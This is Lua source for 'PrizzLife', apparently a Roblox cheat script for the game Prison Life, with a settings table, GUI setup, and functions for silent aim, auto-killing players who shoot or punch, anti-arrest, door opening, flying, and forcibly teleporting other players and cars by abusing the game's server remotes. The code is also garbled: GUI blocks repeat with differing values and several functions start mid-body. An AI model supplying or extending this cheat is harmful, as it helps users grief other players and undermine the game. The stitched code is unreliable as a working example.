Prizzlife Lua
Prizzlife Lua
PLadmin_Settings = {
DefaultPrefix = "?",
JoinNotify = false,
AutoRespawn = true, --Automatically loadcharacter when dying
AntiVoid = true, --Automatically teleport up when falling into void
AntiTase = false, --Prevents you from being tased (100% no getconnections used
because its absolute garbage)
AntiArrest = false, --Prevents you from being arrested (100% no getconnections
used because its absolute garbage)
AntiShoot = false, --Kills player who tries to shoot you (Will be delayed if
you have shitty ping, *COUGH* PLDT Users)
AntiPunch = false, --Instantly kill players who try to punch you
AntiFling = false, --Prevent exploiters from flinging you
AntiShield = false, --stop pay2win people and bypass their shields
AntiBring = false, --Prevent other exploiter(s) from bringing you
SilentAim = false, --Makes you shoot without missing a target
AutoGuns = false, --Automatically get all guns
OldItemMethod = false, --Use teleport for getting items (USE THIS IF PRISON
LIFE PATCHES THE TABLE METHOD)
Fullbright = false, --Enable fullbrightness
WhitelistRanked = false, --Automatically whitelist ranked players (DO NOT USE
WHEN RANKING ALL PLAYERS)
RankedNukeCmds = true, --Allow ranked players to use nuke commands (Very
annoying)
RankedMultiCmd = true, --Allow ranked players to use the arguments: "all, and
team", EX: ?kill all
RankedOutput = true, --Chat the output commands of ranked players
WhisperToRanked = true, --Use whisper for outputing commands for ranked players
}
wait()
PLAdmin.Name = "PLAdmin"
PLAdmin.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
PLAdmin.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
PLAdmin.ResetOnSpawn = false
MainFrame.Name = "MainFrame"
MainFrame.Parent = PLAdmin
MainFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
MainFrame.BorderColor3 = Color3.fromRGB(0, 0, 0)
MainFrame.BorderSizePixel = 2
MainFrame.AnchorPoint = Vector2.new(0.5, 0.5)
MainFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
MainFrame.Size = UDim2.new(0, 250, 0, 155)
MainFrame.Active = true
ScriptName.Name = "ScriptName"
ScriptName.Parent = MainFrame
ScriptName.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
ScriptName.BorderColor3 = Color3.fromRGB(0, 0, 0)
ScriptName.BorderSizePixel = 0
ScriptName.Size = UDim2.new(0, 250, 0, 17)
ScriptName.Font = Enum.Font.SourceSans
ScriptName.Text = " PRIZZLIFE > CMDSLIST"
ScriptName.TextColor3 = Color3.fromRGB(255, 255, 255)
ScriptName.TextSize = 13.000
ScriptName.TextXAlignment = Enum.TextXAlignment.Left
ExecBar.Name = "ExecBar"
ExecBar.Parent = MainFrame
ExecBar.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
ExecBar.BorderColor3 = Color3.fromRGB(0, 0, 0)
ExecBar.BorderSizePixel = 2
ExecBar.Position = UDim2.new(-1.22070318e-07, 0, 0.833333313, 0)
ExecBar.Size = UDim2.new(0, 250, 0, 25)
ExecBar.Font = Enum.Font.SourceSans
ExecBar.TextColor3 = Color3.fromRGB(255, 255, 255)
ExecBar.Text = ""
ExecBar.PlaceholderText = "Command Bar"
ExecBar.TextSize = 14.000
ExecBar.ClearTextOnFocus = false
CloseButton.Name = "CloseButton"
CloseButton.Parent = MainFrame
CloseButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
CloseButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
CloseButton.BorderSizePixel = 0
CloseButton.Position = UDim2.new(0.930000007, 0, -0.00100000005, 0)
CloseButton.Size = UDim2.new(0, 19, 0, 17)
CloseButton.Font = Enum.Font.SourceSans
CloseButton.Text = "X"
CloseButton.TextColor3 = Color3.fromRGB(255, 255, 255)
CloseButton.TextSize = 14.000
MinimizeButton.Name = "MinimizeButton"
MinimizeButton.Parent = MainFrame
MinimizeButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
MinimizeButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
MinimizeButton.BorderSizePixel = 0
MinimizeButton.Position = UDim2.new(0.850000024, 0, -0.00100000005, 0)
MinimizeButton.Size = UDim2.new(0, 19, 0, 17)
MinimizeButton.Font = Enum.Font.SourceSans
MinimizeButton.Text = "-"
MinimizeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
MinimizeButton.TextSize = 14.000
SettingButton.Name = "SettingButton"
SettingButton.Parent = MainFrame
SettingButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
SettingButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
SettingButton.BorderSizePixel = 0
SettingButton.Position = UDim2.new(0.769999981, 0, -0.00100000005, 0)
SettingButton.Size = UDim2.new(0, 19, 0, 17)
SettingButton.Image = "rbxassetid://11308562716"
Toggles_Frame.Name = "Toggles_Frame"
Toggles_Frame.Parent = MainFrame
Toggles_Frame.Active = true
Toggles_Frame.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
Toggles_Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
Toggles_Frame.BorderSizePixel = 0
Toggles_Frame.Position = UDim2.new(0, 0, 0.104999997, 0)
Toggles_Frame.Size = UDim2.new(0, 250, 0, 111)
Toggles_Frame.ScrollBarImageColor3 = Color3.fromRGB(0, 0, 0)
Toggles_Frame.ScrollBarThickness = 4
Toggles_Frame.ElasticBehavior = Enum.ElasticBehavior.Never
Toggles_Frame.AutomaticCanvasSize = Enum.AutomaticSize.Y
Toggles_Frame.ScrollingDirection = Enum.ScrollingDirection.Y
Toggles_Frame.Visible = false
UIListLayout2.Parent = Toggles_Frame
UIListLayout2.SortOrder = Enum.SortOrder.LayoutOrder
UIListLayout2.Padding = UDim.new(0.0088999978, 0)
UIListLayout2.VerticalAlignment = Enum.VerticalAlignment.Top
CMDS_Frame.Name = "CMDS_Frame"
CMDS_Frame.Parent = MainFrame
CMDS_Frame.Active = true
CMDS_Frame.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
CMDS_Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
CMDS_Frame.BorderSizePixel = 0
CMDS_Frame.Position = UDim2.new(0, 0, 0.104999997, 0)
CMDS_Frame.Size = UDim2.new(0, 250, 0, 111)
CMDS_Frame.ScrollBarImageColor3 = Color3.fromRGB(0, 0, 0)
CMDS_Frame.ScrollBarThickness = 4
CMDS_Frame.ElasticBehavior = Enum.ElasticBehavior.Never
CMDS_Frame.AutomaticCanvasSize = Enum.AutomaticSize.Y
CMDS_Frame.ScrollingDirection = Enum.ScrollingDirection.Y
UIListLayout.Parent = CMDS_Frame
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
UIListLayout.Padding = UDim.new(0.0088999978, 0)
UIListLayout.VerticalAlignment = Enum.VerticalAlignment.Top
--Gui functions
local DraggifyFrame = function(tabframed, frame, otherframe)
local dragging
local dragStartPos
local startPos
if tabframed then
tabframed.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStartPos = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
else
frame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStartPos = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
if otherframe then
otherframe.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStartPos = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
end
end
game:GetService("UserInputService").InputChanged:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch) then
local delta = input.Position - dragStartPos
frame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset +
delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end
end)
end
PLAdmin.Name = "PLAdmin"
PLAdmin.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
PLAdmin.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
PLAdmin.ResetOnSpawn = false
MainFrame.Name = "MainFrame"
MainFrame.Parent = PLAdmin
MainFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
MainFrame.BorderColor3 = Color3.fromRGB(0, 0, 0)
MainFrame.BorderSizePixel = 2
MainFrame.AnchorPoint = Vector2.new(0.5, 0.5)
MainFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
MainFrame.Size = UDim2.new(0, 295, 0, 185)
MainFrame.Active = true
ScriptName.Name = "ScriptName"
ScriptName.Parent = MainFrame
ScriptName.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
ScriptName.BorderColor3 = Color3.fromRGB(0, 0, 0)
ScriptName.BorderSizePixel = 0
ScriptName.Size = UDim2.new(0, 295, 0, 20)
ScriptName.Font = Enum.Font.SourceSans
ScriptName.Text = "PrizzLife v0.8.1"
ScriptName.TextColor3 = Color3.fromRGB(255, 255, 255)
ScriptName.TextSize = 18.000
ScriptName.TextYAlignment = Enum.TextYAlignment.Top
ScriptName.TextWrapped = true
ExecBar.Name = "ExecBar"
ExecBar.Parent = MainFrame
ExecBar.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
ExecBar.BorderColor3 = Color3.fromRGB(0, 0, 0)
ExecBar.BorderSizePixel = 2
ExecBar.Position = UDim2.new(0, 0, 0.852162123, 0)
ExecBar.Size = UDim2.new(0, 295, 0, 27)
ExecBar.ZIndex = 2
ExecBar.Font = Enum.Font.SourceSans
ExecBar.TextColor3 = Color3.fromRGB(255, 255, 255)
ExecBar.Text = ""
ExecBar.PlaceholderText = "> Search / Execute <"
ExecBar.TextSize = 15.000
ExecBar.ClearTextOnFocus = false
CloseButton.Name = "CloseButton"
CloseButton.Parent = MainFrame
CloseButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
CloseButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
CloseButton.BorderSizePixel = 0
CloseButton.Position = UDim2.new(0.930000126, 0, -0.00100000738, 0)
CloseButton.Size = UDim2.new(0, 20, 0, 19)
CloseButton.Font = Enum.Font.SourceSans
CloseButton.Text = "X"
CloseButton.TextColor3 = Color3.fromRGB(255, 255, 255)
CloseButton.TextSize = 14.000
MinimizeButton.Name = "MinimizeButton"
MinimizeButton.Parent = MainFrame
MinimizeButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
MinimizeButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
MinimizeButton.BorderSizePixel = 0
MinimizeButton.Position = UDim2.new(0.836440682, 0, -0.00100000738, 0)
MinimizeButton.Size = UDim2.new(0, 20, 0, 19)
MinimizeButton.Font = Enum.Font.SourceSans
MinimizeButton.Text = "-"
MinimizeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
MinimizeButton.TextSize = 14.000
SettingButton.Name = "SettingButton"
SettingButton.Parent = MainFrame
SettingButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
SettingButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
SettingButton.BorderSizePixel = 0
SettingButton.Position = UDim2.new(-0.00288127316, 0, -0.0064053922, 0)
SettingButton.Size = UDim2.new(0, 20, 0, 19)
SettingButton.Image = "rbxassetid://11308562716"
Toggles_Frame.Name = "Toggles_Frame"
Toggles_Frame.Parent = MainFrame
Toggles_Frame.Active = true
Toggles_Frame.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
Toggles_Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
Toggles_Frame.BorderSizePixel = 0
Toggles_Frame.Position = UDim2.new(0, 0, 0.105000056, 0)
Toggles_Frame.Size = UDim2.new(0, 295, 0, 137)
Toggles_Frame.ScrollBarImageColor3 = Color3.fromRGB(0, 0, 0)
Toggles_Frame.ScrollBarThickness = 6
Toggles_Frame.ElasticBehavior = Enum.ElasticBehavior.Never
Toggles_Frame.AutomaticCanvasSize = Enum.AutomaticSize.Y
Toggles_Frame.ScrollingDirection = Enum.ScrollingDirection.Y
Toggles_Frame.Visible = false
UIListLayout2.Parent = Toggles_Frame
UIListLayout2.SortOrder = Enum.SortOrder.LayoutOrder
UIListLayout2.Padding = UDim.new(0.0088999978, 0)
UIListLayout2.VerticalAlignment = Enum.VerticalAlignment.Top
CMDS_Frame.Name = "CMDS_Frame"
CMDS_Frame.Parent = MainFrame
CMDS_Frame.Active = true
CMDS_Frame.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
CMDS_Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
CMDS_Frame.BorderSizePixel = 0
CMDS_Frame.Position = UDim2.new(0, 0, 0.105000056, 0)
CMDS_Frame.Size = UDim2.new(0, 295, 0, 137)
CMDS_Frame.ScrollBarImageColor3 = Color3.fromRGB(0, 0, 0)
CMDS_Frame.ScrollBarThickness = 6
CMDS_Frame.ElasticBehavior = Enum.ElasticBehavior.Never
CMDS_Frame.AutomaticCanvasSize = Enum.AutomaticSize.Y
CMDS_Frame.ScrollingDirection = Enum.ScrollingDirection.Y
UIListLayout.Parent = CMDS_Frame
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
UIListLayout.Padding = UDim.new(0.0088999978, 0)
UIListLayout.VerticalAlignment = Enum.VerticalAlignment.Top
--Gui functions
local DraggifyFrame = function(frame)
local dragging
local dragStartPos
local startPos
frame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStartPos = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
game:GetService("UserInputService").InputChanged:Connect(function(input)
if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch) then
local delta = input.Position - dragStartPos
frame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset +
delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end
end)
end
--Variables
local Camera = game:GetService("Workspace").CurrentCamera
local Rstorage = game:GetService("ReplicatedStorage")
local Rservice = game:GetService("RunService")
local Hbeat = Rservice.Heartbeat
local Rstep = Rservice.RenderStepped
local Stepped = Rservice.Stepped
local Players = game:GetService("Players")
local Teams = game:GetService("Teams")
local LocalPlayer = Players.LocalPlayer
local RegModule = nil
--Functions
local deprint = function(args)
if Settings.PrintDebug then
print(args)
end
end
LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):ChangeState(Enum.HumanoidSt
ateType.Running)
elseif args == "speed" then
LocalPlayer.Character:FindFirstChild("Humanoid").WalkSpeed = args2
elseif args == "jumppw" then
LocalPlayer.Character:FindFirstChild("Humanoid").JumpPower = args2
elseif args == "die" then
LocalPlayer.Character:FindFirstChild("Humanoid").Health = 0
elseif args == "died" then
LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid"):ChangeState(Enum.HumanoidS
tateType.Dead)
elseif args == "jump" then
LocalPlayer.Character:FindFirstChild("Humanoid"):ChangeState(Enum.HumanoidStateType
.Jumping)
elseif args == "state" then
LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):ChangeState(args2)
elseif args == "equip" then
LocalPlayer.Character:FindFirstChild("Humanoid"):EquipTool(args2)
elseif args == "unequip" then
LocalPlayer.Character:FindFirstChild("Humanoid"):UnequipTools()
end
end
--Command functions
local PlrFromArgs = function(plr, args)
if plr and plr:lower() == "me" then
return args
elseif not plr and not args then
return false
elseif not plr and args then
return args
end
local foundplr = false
for i, v in pairs(Players:GetPlayers()) do
local Name, DisplayName = v.Name:lower(), v.DisplayName:lower()
if Name:sub(1, #plr) == plr:lower() or DisplayName:sub(1, #plr) ==
plr:lower() then
foundplr = v
end
end
return foundplr
end
workspace.Remote.arrest:InvokeServer(args.Character:FindFirstChildWhichIsA("Part"))
end
end
workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.buttons["Car
Spawner"]["Car Spawner"])
end)
local RT2 = tick()
local RoundTrip = (RT2 - RT1) * 1000
return RoundTrip
end
game:GetService("Workspace").Remote.ItemHandler:InvokeServer(ItemPickup)
end)
until LocalPlayer.Backpack:FindFirstChild(args) or
LocalPlayer.Character:FindFirstChild(args) or tick() - timeout >= 0
pcall(function()
LocTP(SavedPositions.GetGunOldPos)
end)
SavedPositions.GetGunOldPos = nil
end
game:GetService("ReplicatedStorage").SoundEvent:FireServer(sound)
if not Toggles.PunchAura then
break
end
end
end
end
end
elseif args then
local AChar = args.Character
local AHead = AChar:FindFirstChild("Head")
if (LHead.Position - AHead.Position).Magnitude <= magnit then
local sound = AHead.punchSound
sound.Volume = 1
sound:Play()
if Toggles.Onepunch then
for i = 1, 15 do
MeleEve(args)
end
else
MeleEve(args)
end
game:GetService("ReplicatedStorage").SoundEvent:FireServer(sound)
end
end
if States.LoudPunch then
for i, v in pairs(Players:GetPlayers()) do
if v and v.Character and v.Character:FindFirstChild("Head") then
local head = v.Character:FindFirstChild("Head")
local vol = head.punchSound
if v == LocalPlayer then
vol:Play()
end
Rstorage.SoundEvent:FireServer(vol)
end
end
end
end
--executor functions suck anyways, rely on physics engine instead
local OpenDoors = function(includeGate)
local oldteam = nil
if #Teams.Guards:GetPlayers() >= 8 and not (LocalPlayer.TeamColor ==
BrickColor.new("Bright blue")) then
Notif("Error", "Guards team full.")
return
elseif not (LocalPlayer.TeamColor == BrickColor.new("Bright blue")) then
oldteam = LocalPlayer.TeamColor
SaveCamPos()
TeamTo("guard")
waitfor(LocalPlayer.Character, "HumanoidRootPart", 3)
end
if includeGate then
local laspos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
local gate = game:GetService("Workspace")["Prison_ITEMS"].buttons["Prison
Gate"]["Prison Gate"]
for i = 1, 4 do
LocTP(gate:GetPivot())
workspace.Remote.ItemHandler:InvokeServer(gate)
end
LocTP(laspos)
end
local hascollision = {}
for i, v in pairs(workspace.Doors:GetChildren()) do
if v:IsA("Model") then
local pivot = v:GetPivot()
v:PivotTo(LocalPlayer.Character:GetPivot())
for _, vv in pairs(v:GetDescendants()) do
if vv:IsA("BasePart") and vv.CanCollide then
hascollision[vv] = true
vv.CanCollide = false
end
end
task.delay(0, function()
v:PivotTo(pivot)
for _, vv in pairs(v:GetDescendants()) do
if vv:IsA("BasePart") and hascollision[vv] then
vv.CanCollide = true
end
end
end)
end
end
RTPing(0.03)
if oldteam then
wait(2)
SaveCamPos()
if oldteam == BrickColor.new("Really red") then
TeamTo("criminal")
elseif oldteam == BrickColor.new("Bright orange") then
TeamTo("inmate")
end
end
end
--I'm so int-ellie-gent omfg no way my fly is compatible for both pc and mobile
users
local Flight = function(args)
local CModule = not LocPL.ShittyExecutor and
require(LocalPlayer.PlayerScripts:FindFirstChild("PlayerModule"):FindFirstChild("Co
ntrolModule")) or game:GetService("UserInputService")
local speed, Charadd, ExitButton = args or 5, nil, nil
local Camera, Char = game.Workspace.CurrentCamera,
game.Players.LocalPlayer.Character
local Human, Root = Char:WaitForChild("Humanoid"),
Char:WaitForChild("HumanoidRootPart")
local BodyG, BodyV = Instance.new("BodyGyro", Root),
Instance.new("BodyVelocity", Root)
BodyG.MaxTorque = Vector3.new()
BodyG.D = 30
BodyG.P = 1000
BodyG.MaxTorque = Vector3.new(400000, 400000, 400000)
BodyV.MaxForce = Vector3.new(9e9, 9e9, 9e9)
task.spawn(function()
ExitButton = Instance.new("TextButton")
ExitButton.Name = "ExitButton"
ExitButton.Parent = PLAdmin
ExitButton.AnchorPoint = Vector2.new(0.5, 0.5)
ExitButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ExitButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
ExitButton.BorderSizePixel = 0
ExitButton.Position = UDim2.new(0.5, 0, 0.900000012, 0)
ExitButton.Size = UDim2.new(0, 150, 0, 30)
ExitButton.Font = Enum.Font.SourceSans
ExitButton.Text = "Exit Vehicle"
ExitButton.TextColor3 = Color3.fromRGB(0, 0, 0)
ExitButton.TextSize = 20.000
ExitButton.Visible = false
ExitButton.MouseButton1Click:Connect(function()
for i = 1, 10 do
LAction("jump")
task.wait()
end
ExitButton.Visible = false
end)
while task.wait() and States.Flying do
pcall(function()
local velocity = Vector3.new(0, 0, 0)
local direct = not LocPL.ShittyExecutor and CModule:GetMoveVector()
or {
X = CModule:IsKeyDown(Enum.KeyCode.A) and -1.8 or
CModule:IsKeyDown(Enum.KeyCode.D) and 1.8 or 0,
Z = CModule:IsKeyDown(Enum.KeyCode.W) and -1.8 or
CModule:IsKeyDown(Enum.KeyCode.S) and 1.8 or 0,
}
if direct.X ~= 0 then
velocity = velocity + Camera.CFrame.RightVector * direct.X
end
if direct.Z ~= 0 then
velocity = velocity - Camera.CFrame.LookVector * direct.Z
end
if not Human.Sit then
Human:ChangeState(Enum.HumanoidStateType.Physics)
ExitButton.Visible = false
else
ExitButton.Visible = true
end
BodyV.Velocity = velocity * speed * 10
BodyG.CFrame = Camera.CoordinateFrame
Root.RotVelocity = Vector3.new(0, 0, 0)
Root.Velocity = Vector3.new(0, 0, 0)
end)
end
BodyV:Destroy()
BodyG:Destroy()
ExitButton:Destroy()
Charadd:Disconnect()
ExitButton = nil
BodyV = nil
BodyG = nil
Charadd = nil
Human:ChangeState(Enum.HumanoidStateType.Landed)
end)
Charadd = LocalPlayer.CharacterAdded:Connect(function()
Camera = game.Workspace.CurrentCamera
Char = game.Players.LocalPlayer.Character
Human = Char:WaitForChild("Humanoid")
Root = Char:WaitForChild("HumanoidRootPart")
BodyG:Destroy()
BodyV:Destroy()
BodyG = Instance.new("BodyGyro", Root)
BodyV = Instance.new("BodyVelocity", Root)
BodyG.MaxTorque = Vector3.new()
BodyG.D = 30
BodyG.P = 1000
BodyG.MaxTorque = Vector3.new(400000, 400000, 400000)
BodyV.MaxForce = Vector3.new(9e9, 9e9, 9e9)
end)
end
--Bring
local DumpCars = function(args, isSource)
SavedPositions.DumpCar =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
if isSource then
if not (args.Body or args.Body:FindFirstChild("VehicleSeat")) or
args.Body.VehicleSeat.Occupant then
return
end
if isSource == "clientdelete" then
args:Destroy()
return
end
repeat
task.wait()
LocTP(CFrame.new(args.Body.VehicleSeat.Position))
args.Body.VehicleSeat:Sit(LocalPlayer.Character:FindFirstChildOfClass("Humanoid"))
until LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit
local valval = States.AntiVoid
States.AntiVoid = false
args.PrimaryPart = args:FindFirstChild("RWD")
if isSource == "vdestroy" then
args:SetPrimaryPartCFrame(CFrame.new(0, -150, 0))
elseif isSource == "void" then
args:SetPrimaryPartCFrame(CFrame.new(0, 9e9, 0))
elseif isSource == "temp" then
args:SetPrimaryPartCFrame(Teleports.deadend)
end
task.wait(0.2)
States.AntiVoid = valval
LAction("unsit", true)
LocTP(SavedPositions.DumpCar)
return
end
local Car = nil
for i, v in pairs(workspace.CarContainer:GetChildren()) do
if v:IsA("Model") and v:FindFirstChild("Body") and
v.Body:FindFirstChild("VehicleSeat") and not v.Body.VehicleSeat.Occupant then
Car = v
end
if Car then
if args == "clientdelete" then
Car:Destroy()
else
repeat
task.wait()
LocTP(CFrame.new(Car.Body.VehicleSeat.Position))
Car.Body.VehicleSeat:Sit(LocalPlayer.Character:FindFirstChild("Humanoid"))
until LocalPlayer.Character:FindFirstChild("Humanoid").Sit
local tempotempo = States.AntiVoid
States.AntiVoid = false
Car.PrimaryPart = Car:FindFirstChild("RWD")
if args == "vdestroy" then
Car:SetPrimaryPartCFrame(CFrame.new(0, -150, 0))
elseif args == "void" then
Car:SetPrimaryPartCFrame(CFrame.new(0, 9e9, 0))
elseif args == "temp" then
Car:SetPrimaryPartCFrame(Teleports.deadend)
end
task.wait(0.3)
States.AntiVoid = tempotempo
LAction("unsit", true)
end
end
end
if Car then
LocTP(SavedPositions.DumpCar)
end
Car = nil
end
local BringCar = function(args, usedcar, policecar)
local Car = nil
local CarButton = workspace.Prison_ITEMS.buttons["Car Spawner"]["Car Spawner"]
if policecar then
CarButton = workspace.Prison_ITEMS.buttons:GetChildren()[4]["Car Spawner"]
end
local ButtonPivot = CarButton:GetPivot()
local LastPos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
States.IsBringing = true
if usedcar then
for i, v in pairs(workspace.CarContainer:GetChildren()) do
if v:IsA("Model") and v:FindFirstChild("Body") and
v.Body:FindFirstChild("VehicleSeat") and not v.Body.VehicleSeat.Occupant then
for ii, vv in pairs(v.Body:GetChildren()) do
if vv:IsA("Seat") and not vv.Occupant then
Car = v
break
end
end
if Car then
break
end
end
end
if not Car then
Notif("Cancelled", "No used car(s) found.")
return
end
else
task.spawn(function()
Car = game:GetService("Workspace").CarContainer.ChildAdded:Wait()
end)
repeat
task.wait()
task.spawn(function()
LAction("unsit")
LocTP(ButtonPivot)
workspace.Remote.ItemHandler:InvokeServer(CarButton)
end)
until Car
end
repeat
task.wait()
until Car:FindFirstChild("RWD") and Car:FindFirstChild("Body") and
Car:FindFirstChild("Body"):FindFirstChild("VehicleSeat")
local Stopped, timeout = false, tick()
while not Stopped do
task.wait()
pcall(function()
LocTP(CFrame.new(Car.Body.VehicleSeat.Position))
Car.Body.VehicleSeat:Sit(LocalPlayer.Character:FindFirstChild("Humanoid"))
Stopped = LocalPlayer.Character:FindFirstChild("Humanoid").Sit or
tick() - timeout > 6
end)
end
Car.PrimaryPart = Car:WaitForChild("RWD")
if args then
local destiny = args == LocalPlayer and LastPos or
args.Character:FindFirstChild("Head").CFrame
Car:SetPrimaryPartCFrame(destiny)
wait(0.2)
LAction("unsit", true)
LocTP(LastPos)
else
Car:SetPrimaryPartCFrame(LastPos)
end
States.IsBringing = false
Stopped = nil
return Car
end
--I know you skidded my bring, you think i wouldnt notice?
local BringPL = function(BringFrom, Destination, isCFrame, donotusecar,
dontbreakyet)
if BringFrom.TeamColor == BrickColor.new("Medium stone grey") or not
(BringFrom.Character and BringFrom.Character:FindFirstChildOfClass("Humanoid") and
BringFrom.Character:FindFirstChildOfClass("Humanoid").Health ~= 0) then
Notif("Error", "Cannot bring this player. Either dead or is in neutrals
team.")
return
end
if LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("Humanoid").Sit then
LAction("unsit", true)
end
local Car = nil
local CarButton = workspace.Prison_ITEMS.buttons["Car Spawner"]["Car Spawner"]
local ButtonPivot = CarButton:GetPivot()
if LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
local LastPos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
if not (BringFrom == LocalPlayer) then
repeat
task.wait()
for i, v in pairs(workspace.CarContainer:GetChildren()) do
if v:IsA("Model") and v:FindFirstChild("Body") and
v.Body:FindFirstChild("VehicleSeat") and v.Name ~= "DONOTUSECAR" and not
v.Body.VehicleSeat.Occupant then
for ii, vv in pairs(v.Body:GetChildren()) do
if vv:IsA("Seat") and not vv.Occupant then
Car = v
break
end
end
if Car then
break
end
end
end
if not Car then
coroutine.wrap(function()
LocTP(ButtonPivot)
workspace.Remote.ItemHandler:InvokeServer(CarButton)
end)()
end
until Car
if donotusecar then
Car.Name = "DONOTUSECAR"
end
if Car and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") and
BringFrom.Character and BringFrom.Character:FindFirstChild("Torso") and
BringFrom.Character:FindFirstChildOfClass("Humanoid") then
repeat
task.wait()
until Car:FindFirstChild("RWD") and Car:FindFirstChild("Body") and
Car:FindFirstChild("Body"):FindFirstChild("VehicleSeat")
States.IsBringing = true
local seattimeout = tick() + 8
local LHuman, LRoot = LocalPlayer.Character and
LocalPlayer.Character:FindFirstChildOfClass("Humanoid"), LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
repeat
task.wait()
LHuman = LocalPlayer.Character and
LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
LRoot = LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if LHuman and LRoot then
LRoot.CFrame = CFrame.new(Car.Body.VehicleSeat.Position)
Car.Body.VehicleSeat:Sit(LHuman)
end
until LHuman.Sit or tick() - seattimeout >= 0
seattimeout = nil
if not LHuman or not LHuman.Sit then
Notif("Error", "This seat is either bugged or ping lag!")
LAction("unsit", true)
States.IsBringing = false
LocTP(LastPos)
Car.Name = "DONOTUSECAR"
return
end
if BringFrom.TeamColor == BrickColor.new("Medium stone grey") then
Notif("Error", "Player is in neutrals, bring cancelled.")
LAction("unsit", true)
States.IsBringing = false
LocTP(LastPos)
return
end
local TargetSeat = nil
for i, v in pairs(Car.Body:GetChildren()) do
if v:IsA("Seat") and not v.Occupant then
TargetSeat = v
break
end
end
if not TargetSeat then
Notif("Error", "The car seats are too full!")
LocTP(LastPos)
return
end
local VChar = BringFrom.Character
local VHuman = VChar and VChar:FindFirstChildOfClass("Humanoid")
local VRoot = VChar and VChar:FindFirstChild("HumanoidRootPart")
local Timeout = tick() + 17
local CarSpin, SpinRad = false, 0
task.spawn(function()
Car.PrimaryPart = TargetSeat
Car:SetPrimaryPartCFrame(VRoot.CFrame * CFrame.new(0, -0.3, 0))
task.wait(4)
CarSpin = true
end)
repeat
task.wait()
local step1 = CPing() / 2 / 2 / 2
if TargetSeat.Occupant and not VHuman.Sit then
for i, v in pairs(Car.Body:GetChildren()) do
if v:IsA("Seat") and not v.Occupant then
TargetSeat = v
break
end
end
end
Car.PrimaryPart = TargetSeat
local Movement = Vector3.new(VRoot.Velocity.X, 0,
VRoot.Velocity.Z)
